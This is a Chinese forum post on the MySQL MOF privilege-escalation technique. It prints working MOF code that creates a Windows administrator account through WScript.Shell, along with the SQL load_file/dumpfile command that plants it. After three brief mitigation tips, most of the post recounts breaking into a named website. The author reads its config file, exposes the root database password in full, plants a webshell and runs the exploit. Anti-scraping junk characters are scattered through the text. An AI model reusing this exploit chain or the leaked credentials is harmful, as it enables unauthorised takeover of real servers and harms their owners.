找回密码
 立即注册
查看: 2731|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法* R" \, u/ {  S" l3 _; d
) W  m. Z( X6 M4 q/ G' f* ~
网上公开的一些利用代码:( ^8 Q; \% @' |  J; W
6 X9 f7 V1 }. p
#pragma namespace(“\\\\.\\root\\subscription”)
. X3 t6 d$ x5 }1 G( [! m# W
* O! i- y* z2 b7 w- ?instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };4 j( K8 w/ [' C2 l. b$ O! u9 ?' A

) M7 s7 |1 p- I+ Y
9 c* F& m, a1 R3 \4 X% ?" ~4 p3 ^; I  }, n
% X% j. }0 Z2 Z! u4 O2 y

, x+ z# J3 [: l7 A9 z7 m( l连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;! }* D6 N6 T; Z- v! A; k) o
从上面代码来看得出解决办法:
+ v1 X/ M* F0 L7 a" e2 U( L+ R0 d
3 U. t2 {' B4 A& E1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数9 H9 y2 ]6 o+ m0 b
% \# c3 a& \. l  I0 Z
2、禁止使用”WScript.Shel”组件
4 g" V1 c* L: W9 ~) j. _, a. K+ {9 K5 J% }2 K) F' V
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
/ ~5 s% o8 F- r
5 n  Z& G1 |$ [! U9 [0 l0 U2 i当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
% E- Y5 y$ u" W+ i$ P9 K& Y- E
8 |+ ], ]5 P* g: a9 d. P, ]事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权3 S1 n# T) v" y4 I0 `9 R, U7 V3 e

3 Q, T: J0 k( A* k8 y! V4 B3 n但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
( y9 L' `* w! |& j* T, J( \
  w$ k. R- [: i( ~看懂了后就开始练手吧: z/ _  v9 K4 L- j
1 E2 H9 Y( @, F4 b6 N) n
http://www.webbmw.com/config/config_ucenter.php 一句话 a! c6 Y! U6 Y" F/ m
6 g/ }/ p6 j0 M) i& m
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。! ~5 I% x) Z% w5 Y7 h0 l( [; m
) H" _2 M) D9 {0 |: S
于是直接用菜刀开搞5 M) j) T- y; g: V! P5 y

; t- o2 T; U+ K3 Q! x0 V上马先" `. Y5 Q$ l1 |

0 W+ j7 `5 I! ~, r  S% r# `* o- a" x既然有了那些账号 之类的 于是我们就执行吧…….
( _5 Y4 {: A# p- b6 j- y8 o+ X2 v
% T4 @8 F2 d* d( M5 ]% W- ^小小的说下
4 w5 j, ?3 ]. A& ^" h# ~: d' W) l0 M
在这里第1次执行未成功        原因未知
+ a4 \5 T1 a: e. B5 ~9 W) {
" u% W' T/ [9 h5 f. r) D我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
* \, t$ z" d9 O8 G. v  f, m: Z5 o1 K6 s3 W9 {( W
#pragma namespace(“\\\\.\\root\\subscription”)8 d+ ~) i; w% ~! [
4 Z& c; l: m0 a( k% Z; ^
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };) [% P- I$ ?2 n) b
( G& Q8 N1 Y2 C  S8 O. l; c
我是将文件放到C:\WINDOWS\temp\1.mof
$ ~3 _% }2 K# |1 q# q+ J+ k9 U
% J- W2 h2 o) \" h" ^# |6 T; ~所以我们就改下执行的代码
: A8 i% s2 q0 N) j( s# D& Y
& ?8 A9 s, x* j+ d# O  X7 [' xselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;2 ]/ w+ ~& U' O. q6 p4 M/ C4 }/ E

# Y* k: q& K, E0 ?/ f6 i! h
( P9 Q* }* O* S, z2 q/ I# R; z+ J- r% p
但是 你会发现账号还是没有躺在那里。。3 ?! K& ^; G7 Q" A

2 Z; ^; ?- M- P/ y- ?1 v于是我就感觉蛋疼$ ]% N5 ^" U8 ^- [& w4 B
% a) ^; l$ j2 H8 q) U$ L
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
8 A% ^2 A7 P0 j' O0 Z0 N; b3 Z% S' J/ \7 f3 I9 E

3 ]# ]2 Y6 _% A% D5 R- E8 {. F5 ^6 Y& \! W+ M# F7 v) p5 l( \. D, F
但是其他库均不成功…
1 u7 @( Z3 V1 l! c& W6 _2 t4 X3 P# M0 s/ r
我就很费解呀 到底为什么不成功求大牛解答…
0 c/ F$ e! C2 E# ]
, f2 L8 f8 f3 I( j0 L- I8 U* ]0 u
( @2 z- H8 `- i* A. X2 M5 L
, E3 H; Z7 h" g- Z* @. v" x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表